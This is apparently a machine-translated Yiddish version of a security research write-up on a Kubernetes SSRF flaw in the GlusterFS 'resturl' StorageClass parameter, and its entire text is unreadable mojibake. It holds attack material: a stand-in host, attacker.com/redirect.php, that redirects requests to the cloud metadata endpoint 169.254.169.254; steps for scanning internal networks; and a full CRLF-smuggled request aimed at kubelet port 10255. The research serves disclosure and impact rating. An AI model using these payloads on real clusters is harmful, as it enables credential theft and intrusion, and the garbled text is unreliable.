  • ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #1: ื ื™ืฆืŸ ืึท 302 ืจื™ื“ืขืจืขืงื˜ ืคื•ืŸ ืึท ืคื•ื ื“ืจื•ื™ืกื ื“ื™ืง ืกืขืจื•ื•ืขืจ ืฆื• ื˜ื•ื™ืฉืŸ ื“ื™ ื”ื˜ื˜ืคึผ ืื•ืคึฟืŸ ืฆื• ืฆื•ืฉื˜ืขืœืŸ ืึท ืžืขืจ ืคืœืขืงืกืึทื‘ืึทืœ ื•ื•ืขื’ ืฆื• ื–ืึทืžืœืขืŸ ื™ื ืขืจืœืขืš ื“ืึทื˜ืŸ.
  • ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #2: ืึทื•ื˜ืึธืžืึทื˜ืข ืœืึทืŸ ืกืงืึทื ื™ื ื’ ืื•ืŸ ื™ื ืขืจืœืขืš ืจื™ืกืึธืจืก ื•ืคื“ืขืงื•ื ื’.
  • ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #3: ื ื™ืฆืŸ HTTP CRLF + ืกืžืึทื’ืึทืœื™ื ื’ ("ื‘ืขื˜ืŸ ืกืžืึทื’ืึทืœื™ื ื’") ืฆื• ืฉืึทืคึฟืŸ ื˜ื™ื™ืœืขืจื“ ื”ื˜ื˜ืคึผ ืจื™ืงื•ื•ืขืก ืื•ืŸ ืฆื•ืจื™ืงืงืจื™ื’ืŸ ื“ืึทื˜ืŸ ื™ืงืกื˜ืจืึทืงื˜ื™ื“ ืคื•ืŸ ืงื•ื‘-ืงืึธื ื˜ืจืึธืœืœืขืจ ืœืึธื’ืก.

ื˜ืขื›ื ื™ืฉ ืกืคึผืขืกืึทืคืึทืงื™ื™ืฉืึทื ื–

  • ื“ื™ ืคืึธืจืฉื•ื ื’ ื’ืขื ื™ืฆื˜ Azure Kubernetes Service (AKS) ืžื™ื˜ Kubernetes ื•ื•ืขืจืกื™ืข 1.12 ืื™ืŸ ื“ื™ ืฆืคื•ืŸ ืื™ื™ืจืึธืคึผืข ื’ืขื’ื ื˜.
  • ื“ื™ ืื•ื™ื‘ืŸ ื“ื™ืกืงืจื™ื™ื‘ื“ ืกื™ื ืขืจื™ืึธื•ื– ื–ืขื ืขืŸ ืขืงืกืึทืงื™ื•ื˜ืึทื“ ืื•ื™ืฃ ื“ื™ ืœืขืฆื˜ืข ืจื™ืœื™ืกื™ื– ืคื•ืŸ Kubernetes, ืžื™ื˜ ื“ื™ ื•ื™ืกื ืขื ืคื•ืŸ ื“ื™ ื“ืจื™ื˜ ืกืฆืขื ืึทืจ, ื•ื•ื™ื™ึทืœ ืขืจ ื“ืืจืฃ ืงื•ื‘ืขืจื ืขื˜ืขืก ื’ืขื‘ื•ื™ื˜ ืžื™ื˜ Golang ื•ื•ืขืจืกื™ืข โ‰ค 1.12.
  • ืึทื˜ืึทืงืขืจ ืก ืคื•ื ื“ืจื•ื™ืกื ื“ื™ืง ืกืขืจื•ื•ืขืจ - https://attacker.com.

ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #1: ืจื™ื“ืขืจืขืงื˜ื™ื ื’ ืึท HTTP POST ื‘ืขื˜ืŸ ืฆื• ื‘ืึทืงื•ืžืขืŸ ืื•ืŸ ื‘ืึทืงื•ืžืขืŸ ืฉืคึผื™ืจืขื•ื•ื“ื™ืง ื“ืึทื˜ืŸ

ื“ืขืจ ืึธืจื™ื’ื™ื ืขืœ ืื•ืคึฟืŸ ืื™ื– ื™ืžืคึผืจื•ื•ื•ื“ ื“ื•ืจืš ื“ื™ ืงืึทื ืคื™ื’ื™ืขืจื™ื™ืฉืึทืŸ ืคื•ืŸ ื“ื™ ืึทื˜ืึทืงืขืจ ืก ืกืขืจื•ื•ืขืจ ืฆื• ืฆื•ืจื™ืงืงื•ืžืขืŸ 302 ื”ื˜ื˜ืคึผ ืจืขืงืึธื“ืขืฆื• ืงืึธื ื•ื•ืขืจื˜ ืึท POST ื‘ืขื˜ืŸ ืฆื• ืึท GET ื‘ืขื˜ืŸ (ืฉืจื™ื˜ 4 ืื™ืŸ ื“ื™ ื“ื™ืึทื’ืจืึทืžืข):

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ืขืจืฉื˜ืขืจ ื‘ืงืฉื” (3) ืงื•ืžื˜ ืคื•ืŸ ื“ืขื ืงืœื™ืขื ื˜ ื’ืœื•ืกื˜ืขืจืคืก (ืงืึธื ื˜ืจืึธืœืœืขืจ ืžืึทื ืึทื’ืขืจ), ื”ืื˜ ืึท POST ื˜ื™ืคึผ. ื“ื•ืจืš ื ืึธื›ืคืึธืœื’ืŸ ื“ื™ ืกื˜ืขืคึผืก ืžื™ืจ ื–ืขื ืขืŸ ื‘ื™ื›ื•ืœืช ืฆื• ื•ื•ืขื ื“ืŸ ืขืก ืื™ืŸ ืึท GET:

  • ื•ื•ื™ ืึท ืคึผืึทืจืึทืžืขื˜ืขืจ resturl ืื™ืŸ StorageClass ืขืก ืื™ื– ืื ื’ืขื•ื•ื™ื–ืŸ http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php ืจื™ืกืคึผืึทื ื“ื– ืžื™ื˜ ืึท 302 ื”ื˜ื˜ืคึผ ืกื˜ืึทื˜ื•ืก ืงืึธื“ ืžื™ื˜ ื“ื™ ืคืืœื’ืขื ื“ืข ืึธืจื˜ ื›ืขื“ืขืจ: http://169.254.169.254. ื“ืึธืก ืงืขืŸ ื–ื™ื™ืŸ ืงื™ื™ืŸ ืื ื“ืขืจืข ื™ื ืขืจืœืขืš ืžื™ื˜ืœ - ืื™ืŸ ื“ืขื ืคืึทืœ, ื“ื™ ืจื™ื“ืขืจืขืงื˜ ืœื™ื ืง ืื™ื– ื‘ืœื•ื™ื– ื’ืขื ื™ืฆื˜ ื•ื•ื™ ืึท ื‘ื™ื™ึทืฉืคึผื™ืœ.
  • ื“ื•ืจืš ืคืขืœื™ืงื™ื™ึทื˜ ื ืขืฅ / ื”ื˜ื˜ืคึผ ื‘ื™ื‘ืœื™ืึธื˜ืขืง Golang ืจื™ื“ืขืจืขืงืฅ ื“ื™ ื‘ืขื˜ืŸ ืื•ืŸ ืงืึทื ื•ื•ืขืจืฅ ื“ื™ POST ืฆื• ืึท GET ืžื™ื˜ ืึท 302 ืกื˜ืึทื˜ื•ืก ืงืึธื“, ืจื™ื–ืึทืœื˜ื™ื ื’ ืื™ืŸ ืึท HTTP GET ื‘ืขื˜ืŸ ืฆื• ื“ื™ ืฆื™ืœ ืžื™ื˜ืœ.

ืฆื• ืœื™ื™ืขื ืขืŸ ื“ื™ HTTP ืขื ื˜ืคืขืจ ื’ื•ืฃ ืื™ืจ ื“ืึทืจืคึฟืŸ ืฆื• ื˜ืึธืŸ describe PVC ื›ื™ื™ืคืขืฅ:

kubectl describe pvc xxx

ื“ืึธ ืื™ื– ืึท ื‘ื™ื™ืฉืคึผื™ืœ ืคื•ืŸ ืึท HTTP ืขื ื˜ืคืขืจ ืื™ืŸ JSON ืคึฟืึธืจืžืึทื˜ ื•ื•ืึธืก ืžื™ืจ ื–ืขื ืขืŸ ื‘ื™ื›ื•ืœืช ืฆื• ื‘ืึทืงื•ืžืขืŸ:

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ื“ื™ ืงื™ื™ืคึผืึทื‘ื™ืœืึทื˜ื™ื– ืคื•ืŸ ื“ื™ ื’ืขืคึฟื•ื ืขืŸ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ืŸ ื“ืขืจ ืฆื™ื™ื˜ ื–ืขื ืขืŸ ืœื™ืžื™ื˜ืขื“ ืจืขื›ื˜ ืฆื• ื“ื™ ืคืืœื’ืขื ื“ืข ืคื•ื ืงื˜ืŸ:

  • ื™ื ืึทื‘ื™ืœื™ื˜ื™ ืฆื• ืึทืจื™ื™ึทื ืœื™ื™ื’ืŸ ื”ื˜ื˜ืคึผ ื›ืขื“ืขืจื– ืื™ืŸ ืึทื•ื˜ื’ืึธื•ื™ื ื’ ื‘ืขื˜ืŸ.
  • ื™ื ืึทื‘ื™ืœื™ื˜ื™ ืฆื• ื“ื•ืจื›ืคื™ืจืŸ ืึท POST ื‘ืขื˜ืŸ ืžื™ื˜ ืคึผืึทืจืึทืžืขื˜ืขืจืก ืื™ืŸ ื“ืขื ื’ื•ืฃ (ื“ืึธืก ืื™ื– ื‘ืึทืงื•ื•ืขื ืฆื• ื‘ืขื˜ืŸ ื“ื™ ืฉืœื™ืกืœ ื•ื•ืขืจื˜ ืคื•ืŸ ืึทืŸ ืขื˜ืง ื‘ื™ื™ึทืฉืคึผื™ืœ ืคืœื™ืกื ื“ื™ืง ืื•ื™ืฃ 2379 ืคึผืึธืจื˜ ืื•ื™ื‘ ื•ื ืขื ืงืจื™ืคึผื˜ื™ื“ ื”ื˜ื˜ืคึผ ืื™ื– ื’ืขื ื™ืฆื˜).
  • ื™ื ืึทื‘ื™ืœื™ื˜ื™ ืฆื• ืฆื•ืจื™ืงืงืจื™ื’ืŸ ืขื ื˜ืคืขืจ ื’ื•ืฃ ืื™ื ื”ืึทืœื˜ ื•ื•ืขืŸ ื“ื™ ืกื˜ืึทื˜ื•ืก ืงืึธื“ ืื™ื– ื’ืขื•ื•ืขืŸ 200 ืื•ืŸ ื“ืขืจ ืขื ื˜ืคืขืจ ื”ืื˜ ื ื™ืฉื˜ ื”ืึธื‘ืŸ ืึท JSON ืื™ื ื”ืึทืœื˜ ื˜ื™ืคึผ.

ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #2: ืกืงืึทื ื™ื ื’ ื“ื™ ื”ื™ื’ืข ื ืขืฅ

ื“ืขืจ ื”ืึทืœื‘-ื‘ืœื™ื ื“ SSRF ืื•ืคึฟืŸ ืื™ื– ื“ืึทืŸ ื’ืขื ื•ืฆื˜ ืฆื• ื™ื‘ืขืจืงื•ืงืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืคึผืจืึทื•ื•ื™ื™ื“ืขืจ ืก ื™ื ืขืจืœืขืš ื ืขืฅ ืื•ืŸ ืึทื ืงืขื˜ืข ืคืึทืจืฉื™ื“ืŸ ืฆื•ื’ืขื”ืขืจื˜ ื‘ืึทื“ื™ื ื•ื ื’ืก (ืžืขื˜ืึทื“ืึทื˜ืึท ื‘ื™ื™ึทืฉืคึผื™ืœ, Kubelet, ืขื˜ืง, ืืื–"ื• ื•) ื‘ืื–ื™ืจื˜ ืื•ื™ืฃ ื“ื™ ืจืขืกืคึผืึธื ืกืขืก. ืงื•ื‘ ืงืึธื ื˜ืจืึธืœืœืขืจ.

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ืขืจืฉื˜ืขืจ, ื“ื™ ื ืึธืจืžืึทืœ ืฆื•ื’ืขื”ืขืจื˜ ืคึผืึธืจืฅ ืคื•ืŸ Kubernetes ืงืึทืžืคึผืึธื•ื ืึทื ืฅ ื–ืขื ืขืŸ ื‘ืืฉืœืืกืŸ (8443, 10250, 10251, ืืื–"ื• ื•), ืื•ืŸ ื“ืขืžืึธืœื˜ ืžื™ืจ ื”ืึธื‘ืŸ ืฆื• ืึธื˜ืึทืžื™ื™ื˜ ื“ื™ ืกืงืึทื ื™ื ื’ ืคึผืจืึธืฆืขืก.

ื–ืขืขื ื“ื™ืง ืึทื– ื“ืขืจ ืื•ืคึฟืŸ ืคื•ืŸ ืกืงืึทื ื™ื ื’ ืจืขืกื•ืจืกืŸ ืื™ื– ื–ื™ื™ืขืจ ืกืคึผืขืฆื™ืคื™ืฉ ืื•ืŸ ืื™ื– ื ื™ืฉื˜ ืงืึทืžืคึผืึทื˜ืึทื‘ืึทืœ ืžื™ื˜ ืงืœืึทืกื™ืฉ ืกืงืึทื ืขืจื– ืื•ืŸ SSRF ืžื›ืฉื™ืจื™ื, ืžื™ืจ ื‘ืึทืฉืœืึธืกืŸ ืฆื• ืฉืึทืคึฟืŸ ืื•ื ื“ื–ืขืจ ืื™ื™ื’ืขื ืข ื•ื•ืึธืจืงืขืจืก ืื™ืŸ ืึท ื‘ืึทืฉ ืฉืจื™ืคื˜ ื•ื•ืึธืก ืึธื˜ืึทืžื™ื™ื˜ ื“ื™ ื’ืื ืฆืข ืคึผืจืึธืฆืขืก.

ืคึฟืึทืจ ื‘ื™ื™ึทืฉืคึผื™ืœ, ืื™ืŸ ืกื“ืจ ืฆื• ื’ืขืฉื•ื•ื™ื ื“ ื™ื‘ืขืจืงื•ืงืŸ ื“ื™ ืงื™ื™ื˜ 172.16.0.0/12 ืคื•ืŸ ื“ื™ ื™ื ืขืจืœืขืš ื ืขืฅ, 15 ื˜ื•ืขืจืก ื–ืขื ืขืŸ ืœืึธื ื˜ืฉื˜ ืื™ืŸ ืคึผืึทืจืึทืœืขืœ. ื“ื™ ืื•ื™ื‘ืŸ IP ืงื™ื™ื˜ ืื™ื– ืื•ื™ืกื’ืขืงืœื™ื‘ืŸ ื‘ืœื•ื™ื– ื•ื•ื™ ืึท ื‘ื™ื™ืฉืคึผื™ืœ ืื•ืŸ ืงืขืŸ ื–ื™ื™ืŸ ืื•ื ื˜ืขืจื˜ืขื ื™ืง ืฆื• ื“ื™ IP ืงื™ื™ื˜ ืคื•ืŸ ื“ื™ื™ืŸ ืกืคึผืขืฆื™ืคื™ืฉ ืกืขืจื•ื•ื™ืก ืฉืคึผื™ื™ึทื–ืขืจ.

ืฆื• ื™ื‘ืขืจืงื•ืงืŸ ืื™ื™ืŸ IP ืึทื“ืจืขืก ืื•ืŸ ืื™ื™ืŸ ืคึผืึธืจื˜, ืื™ืจ ื“ืึทืจืคึฟืŸ ืฆื• ื˜ืึธืŸ ื“ื™ ืคืืœื’ืขื ื“ืข:

  • ื•ื™ืกืžืขืงืŸ ื“ื™ ืœืขืฆื˜ืข ืึธืคึผื’ืขืฉื˜ืขืœื˜ StorageClass;
  • ืึทืจืึธืคึผื ืขืžืขืŸ ื“ื™ ืคืจื™ืขืจื“ื™ืงืข ื•ื•ืขืจืึทืคื™ื™ื“ ืคึผืขืจืกื™ืกื˜ืขื ื˜ ื‘ืื ื“ ืคืึธื“ืขืจืŸ;
  • ื˜ื•ื™ืฉืŸ ื“ื™ IP ืื•ืŸ ืคึผืึธืจื˜ ื•ื•ืึทืœื•ืขืก ืื™ืŸ sc.yaml;
  • ืฉืึทืคึฟืŸ ืึท StorageClass ืžื™ื˜ ืึท ื ื™ื™ึทืข IP ืื•ืŸ ืคึผืึธืจื˜;
  • ืฉืึทืคึฟืŸ ืึท ื ื™ื™ึท ืคึผื•ื•ืง;
  • ืขืงืกื˜ืจืึทืงื˜ ื™ื‘ืขืจืงื•ืงืŸ ืจืขื–ื•ืœื˜ืึทื˜ืŸ ื ื™ืฆืŸ ื“ื™ืกืงืจื™ื™ื‘ื™ื ื’ ืคึฟืึทืจ ืคึผื•ื•ืง.

ืึทื•ื•ืึทื ืกื™ืจื˜ืข ืกืฆืขื ืึทืจ #3: CRLF ื™ื ื“ื–ืฉืขืงืฉืึทืŸ + ืกืžืึทื’ืึทืœื™ื ื’ ื”ื˜ื˜ืคึผ ืื™ืŸ "ืึทืœื˜" ื•ื•ืขืจืกื™ืขืก ืคื•ืŸ ื“ื™ Kubernetes ืงื ื•ื™ืœ

ืื•ื™ื‘ ืื™ืŸ ืึทื“ื™ืฉืึทืŸ ืฆื• ื“ืขื, ื“ืขืจ ืฉืคึผื™ื™ึทื–ืขืจ ื’ืขืคึฟื™ื ื˜ ืงืœื™ื™ืึทื ืฅ ืึทืœื˜ ื•ื•ืขืจืกื™ืขืก ืคื•ืŸ ื“ื™ ืง8ืก ืงื ื•ื™ืœ ะธ ื’ืขื’ืขื‘ืŸ ื–ื™ื™ ืึทืงืกืขืก ืฆื• ื“ื™ ืœืึธื’ืก ืคื•ืŸ ื“ื™ ืงื•ื‘ืข-ืงืึธื ื˜ืจืึธืœืœืขืจ-ืคืึทืจื•ื•ืึทืœื˜ืขืจ, ื“ื™ ื•ื•ื™ืจืงื•ื ื’ ืื™ื– ื’ืขื•ื•ืืจืŸ ืืคื™ืœื• ืžืขืจ ื‘ืึทื˜ื™ื™ื˜ื™ืง.

ืขืก ืื™ื– ื˜ืึทืงืข ืคื™ืœ ืžืขืจ ื‘ืึทืงื•ื•ืขื ืคึฟืึทืจ ืึท ืึทื˜ืึทืงืขืจ ืฆื• ื˜ื•ื™ืฉืŸ ื”ื˜ื˜ืคึผ ืจื™ืงื•ื•ืขืก ื“ื™ื–ื™ื™ื ื“ ืฆื• ื‘ืึทืงื•ืžืขืŸ ืึท ืคื•ืœ ื”ื˜ื˜ืคึผ ืขื ื˜ืคืขืจ ืœื•ื™ื˜ ื–ื™ื™ืŸ ื“ื™ืกืงืจืขืฉืึทืŸ.

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ืฆื• ื™ื ืกื˜ืจื•ืžืขื ื˜ ื“ื™ ืœืขืฆื˜ืข ืกืฆืขื ืึทืจ, ื“ื™ ืคืืœื’ืขื ื“ืข ื˜ื ืึธื™ื ื”ืึธื‘ืŸ ืฆื• ื–ื™ื™ืŸ ื‘ืื’ืขื’ื ื˜:

  • ื“ืขืจ ื‘ืึทื ื™ืฆืขืจ ืžื•ื–ืŸ ื”ืึธื‘ืŸ ืึทืงืกืขืก ืฆื• ืงื•ื‘ืข-ืงืึธื ื˜ืจืึธืœืœืขืจ-ืคืึทืจื•ื•ืึทืœื˜ืขืจ ืœืึธื’ืก (ื•ื•ื™, ืœืžืฉืœ, ืื™ืŸ Azure LogInsights).
  • ื“ื™ Kubernetes ืงื ื•ื™ืœ ืžื•ื–ืŸ ื ื•ืฆืŸ ืึท ื•ื•ืขืจืกื™ืข ืคื•ืŸ โ€‹โ€‹โ€‹โ€‹Golang ื ื™ื“ืขืจื™ืงืขืจ ื•ื•ื™ 1.12.

ืžื™ืจ ื”ืึธื‘ืŸ ื“ื™ืคึผืœื•ื™ื“ ืึท ื”ื™ื’ืข ืกื•ื•ื™ื•ื•ืข ื•ื•ืึธืก ืกื™ืžื™ืึทืœื™ื™ื˜ื™ื“ ืงืึธืžื•ื ื™ืงืึทืฆื™ืข ืฆื•ื•ื™ืฉืŸ ื“ื™ GlusterFS Go ืงืœื™ืขื ื˜ ืื•ืŸ ืึท ืฉื•ื•ื™ื ื“ืœ ืฆื™ืœ ืกืขืจื•ื•ืขืจ (ืžื™ืจ ื•ื•ืขืœืŸ ืึธืคึผื”ืึทืœื˜ืŸ ืคื•ืŸ ืืจื•ื™ืกื’ืขื‘ืŸ ื“ื™ PoC ืคึฟืึทืจ ืื™ืฆื˜).

ืื™ื– ื’ืขืคื•ื ืขืŸ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™, ืึทืคืขืงื˜ื™ื ื’ Golang ื•ื•ืขืจืกื™ืขืก ื ื™ื“ืขืจื™ืงืขืจ ื•ื•ื™ 1.12 ืื•ืŸ ืึทืœืึทื•ื™ื ื’ ื›ืึทืงืขืจื– ืฆื• ื“ื•ืจื›ืคื™ืจืŸ ื”ื˜ื˜ืคึผ ืกืžืึทื’ืึทืœื™ื ื’ / CRLF ืื ืคืืœืŸ.

ื“ื•ืจืš ืงืึทืžื‘ื™ื™ื ื™ื ื’ ื“ื™ ื”ืึทืœื‘-ื‘ืœื™ื ื“ SSRF ื“ื™ืกืงืจื™ื™ื‘ื“ ืื•ื™ื‘ืŸ ะฒะผะตัั‚ะต ืžื™ื˜ ื“ืขื, ืžื™ืจ ื–ืขื ืขืŸ ื‘ื™ื›ื•ืœืช ืฆื• ืฉื™ืงืŸ ืจื™ืงื•ื•ืขืก ืฆื• ืื•ื ื“ื–ืขืจ ืœื™ื™ืงื™ื ื’, ืึทืจื™ื™ึทื ื’ืขืจืขื›ื ื˜ ืจื™ืคึผืœื™ื™ืกื™ื ื’ ื›ืขื“ืขืจื–, ื”ื˜ื˜ืคึผ ืื•ืคึฟืŸ, ืคึผืึทืจืึทืžืขื˜ืขืจืก ืื•ืŸ ื“ืึทื˜ืŸ, ื•ื•ืึธืก ืงื•ื‘ืข-ืงืึธื ื˜ืจืึธืœืœืขืจ-ืคืึทืจื•ื•ืึทืœื˜ืขืจ ื“ืขืžืึธืœื˜ ืคึผืจืึทืกืขืกื˜.

ื“ืึธ ืื™ื– ืึท ื‘ื™ื™ึทืฉืคึผื™ืœ ืคื•ืŸ ืึท ืืจื‘ืขื˜ืŸ "ืœืขืงืขื›ืœ" ืื™ืŸ ืึท ืคึผืึทืจืึทืžืขื˜ืขืจ resturl StorageClass, ื•ื•ืึธืก ื™ืžืคึผืœืึทืžืึทื ืฅ ืึท ืขื ืœืขืš ื‘ืึทืคืึทืœืŸ ืกืฆืขื ืึทืจ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ื“ืขืจ ืจืขื–ื•ืœื˜ืึทื˜ ืื™ื– ืึท ื˜ืขื•ืช ืึทื ืกืึทืœื™ืกื™ื˜ื™ื“ ืขื ื˜ืคืขืจ, ืึท ืึธื ื–ืึธื’ ื•ื•ืขื’ืŸ ื•ื•ืึธืก ืื™ื– ืจืขืงืึธืจื“ืขื“ ืื™ืŸ ื“ื™ ืงืึธื ื˜ืจืึธืœืœืขืจ ืœืึธื’ืก. ื“ืึทื ืง ืฆื• ื•ื•ืขืจื‘ืึธืกื™ื˜ื™ ืขื ื™ื™ื‘ืึทืœื“ ื“ื•ืจืš ืคืขืœื™ืงื™ื™ึทื˜, ื“ืขืจ ืื™ื ื”ืึทืœื˜ ืคื•ืŸ ื“ื™ ื”ื˜ื˜ืคึผ ืขื ื˜ืคืขืจ ืึธื ื–ืึธื’ ืื™ื– ืื•ื™ืš ื’ืขืจืื˜ืขื•ื•ืขื˜ ื“ืึธืจื˜.

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ื“ืึธืก ืื™ื– ื’ืขื•ื•ืขืŸ ืื•ื ื“ื–ืขืจ ืžืขืจืกื˜ ืขืคืขืงื˜ื™ื•ื• "ืœืขืงืขื›ืœ" ืื™ืŸ ื“ื™ ืคืจื™ื™ืžื•ื•ืขืจืง ืคื•ืŸ ื“ืขืจื•ื•ื™ื™ึทื– ืคื•ืŸ ื‘ืึทื’ืจื™ืฃ.

ืžื™ื˜ ื“ืขื ืฆื•ื’ืึทื ื’, ืžื™ืจ ื–ืขื ืขืŸ ื‘ื™ื›ื•ืœืช ืฆื• ื“ื•ืจื›ืคื™ืจืŸ ืขื˜ืœืขื›ืข ืคื•ืŸ โ€‹โ€‹โ€‹โ€‹ื“ื™ ืคืืœื’ืขื ื“ืข ืื ืคืืœืŸ ืื•ื™ืฃ ืงืœืึทืกื˜ืขืจื– ืคื•ืŸ ืคืึทืจืฉื™ื“ืŸ ื’ืขืจืื˜ืŸ ืง8ืก ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื–: ืคึผืจื™ื•ื•ื™ืœืขื’ื™ืข ืขืกืงืึทืœื™ืจื•ื ื’ ืžื™ื˜ ืงืจืึทื“ืขื ื˜ืฉืึทืœื– ืื•ื™ืฃ ืžืขื˜ืึทื“ืึทื˜ืึท ื™ื ืกื˜ืึทื ืกื™ื–, Master DoS ื“ื•ืจืš (ืึทื ืขื ืงืจื™ืคึผื˜ื™ื“) ื”ื˜ื˜ืคึผ ืจื™ืงื•ื•ืขืก ืื•ื™ืฃ ืขื˜ืง ื‘ืขืœ ื™ื ืกื˜ืึทื ืกื™ื–, ืขื˜ืง.

ืึทืคื˜ืขืจืžืึทื˜ื”

ืื™ืŸ ื“ืขืจ ื‘ืึทืึทืžื˜ืขืจ ื“ืขืจืงืœืขืจื•ื ื’ ืคื•ืŸ Kubernetes ื•ื•ืขื’ืŸ ื“ื™ SSRF ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ื•ื•ืึธืก ืžื™ืจ ื“ื™ืกืงืึทื•ื•ืขืจื“, ืขืก ืื™ื– ื’ืขื•ื•ืขืŸ ืจื™ื™ื˜ืึทื“ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ืื•ื™ื‘ ืžื™ืจ ื‘ืึทื˜ืจืึทื›ื˜ืŸ ื‘ืœื•ื™ื– ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืคึฟืึทืจื‘ื•ื ื“ืŸ ืžื™ื˜ ื“ื™ Kubernetes ืคึผืขืจื™ืžืขื˜ืขืจ, ื“ื™ ืึธืจื ื˜ืœืขื›ืงื™ื™ึทื˜ ื•ื•ืขืงื˜ืึธืจ (ืื™ื ื˜ื’ืจื™ื˜ื™ ื•ื•ืขืงื˜ืึธืจ) ืขืก ืงื•ื•ืึทืœืึทืคื™ื™ื– ื•ื•ื™ ื’ืึธืจื ื™ื˜.

ืึธื‘ืขืจ, ืึทืกืกืขืกืกื™ื ื’ ื“ื™ ืžืขื’ืœืขืš ืงืึทื ืกืึทืงื•ื•ืขื ืกืึทื– ืื™ืŸ ื“ืขื ืงืึธื ื˜ืขืงืกื˜ ืคื•ืŸ ืึท ื’ืขืจืื˜ืŸ ื“ื™ื ืกื˜ ืกื•ื•ื™ื•ื•ืข (ืื•ืŸ ื“ืึธืก ืื™ื– ื’ืขื•ื•ืขืŸ ื“ื™ ืžืขืจืกื˜ ื˜ืฉื™ืงืึทื•ื•ืข ื˜ื™ื™ืœ ืคื•ืŸ ืื•ื ื“ื–ืขืจ ืคืึธืจืฉื•ื ื’!) ืคึผืจืึทืžืคึผื˜ื™ื“ ืื•ื ื“ื– ืฆื• ืจืขืงืœืึทืกืกื™ืคื™ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ื•ื•ื™ ืึท ืฉืึทืฅ ืงืจื™ื˜ื™ืฉ CVSS10/10 ืคึฟืึทืจ ืคื™ืœืข ื“ื™ืกื˜ืจื™ื‘ื™ืึทื˜ืขืจื–.

ื•ื ื˜ืขืจ ืื™ื– ื ืึธืš ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ืฆื• ื”ืขืœืคึฟืŸ ืื™ืจ ืคึฟืึทืจืฉื˜ื™ื™ืŸ ืื•ื ื“ื–ืขืจ ืงืึทื ืกื™ื“ืขืจื™ื™ืฉืึทื ื– ื•ื•ืขืŸ ืึทืกืกืขืกืก ื“ื™ ืคึผืึธื˜ืขื ืฆื™ืขืœ ื™ืžืคึผืึทืงืฅ ืื™ืŸ ื•ื•ืึธืœืงืŸ ื™ื ื•ื•ื™ื™ืจืึทื ืžืึทื ืฅ:

ืึธืจื ื˜ืœืขื›ืงื™ื™ึทื˜

  • ื•ื™ืกืคื™ืจืŸ ืงืึทืžืึทื ื“ื– ืจื™ืžืึธื•ื˜ืœื™ ื ื™ืฆืŸ ืงื•ื ื” ื™ื ืขืจืœืขืš ืงืจืึทื“ืขื ื˜ืฉืึทืœื–.
  • ืจืขืคึผืจืึธื“ื•ืฆื™ืจืŸ ื“ื™ ืื•ื™ื‘ืŸ ืกืฆืขื ืึทืจ ืžื™ื˜ ื“ื™ IDOR (ื™ื ืกืขืงื•ืจืข ื“ื™ืจืขืงื˜ ืึธื‘ื“ื–ืฉืขืงื˜ ืจืขืคืขืจืขื ืฅ) ืื•ืคึฟืŸ ืžื™ื˜ ืื ื“ืขืจืข ืจืขืกื•ืจืกืŸ ื’ืขืคึฟื•ื ืขืŸ ืื•ื™ืฃ ื“ื™ ื”ื™ื’ืข ื ืขืฅ.

ืžื™ื˜ ื–ื™ื›ืขืจืงื™ื™ื˜

  • ืึทื˜ืึทืง ื˜ื™ืคึผ ืœืึทื˜ืขืจืึทืœ ื‘ืึทื•ื•ืขื’ื•ื ื’ ื“ืึทื ืง ืฆื• ื’ื ื™ื™ื•ื•ืข ืคื•ืŸ โ€‹โ€‹ื•ื•ืึธืœืงืŸ ืงืจืึทื“ืขื ื˜ืฉืึทืœื– (ืœืžืฉืœ, ืžืขื˜ืึทื“ืึทื˜ืึท ืึทืคึผื™).
  • ืงืึทืœืขืงื˜ื™ื ื’ ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ื“ื•ืจืš ืกืงืึทื ื™ื ื’ ื“ื™ ื”ื™ื’ืข ื ืขืฅ (ื“ื™ื˜ืขืจืžืึทื ื™ื ื’ ื“ื™ SSH ื•ื•ืขืจืกื™ืข, HTTP ืกืขืจื•ื•ืขืจ ื•ื•ืขืจืกื™ืข, ...).
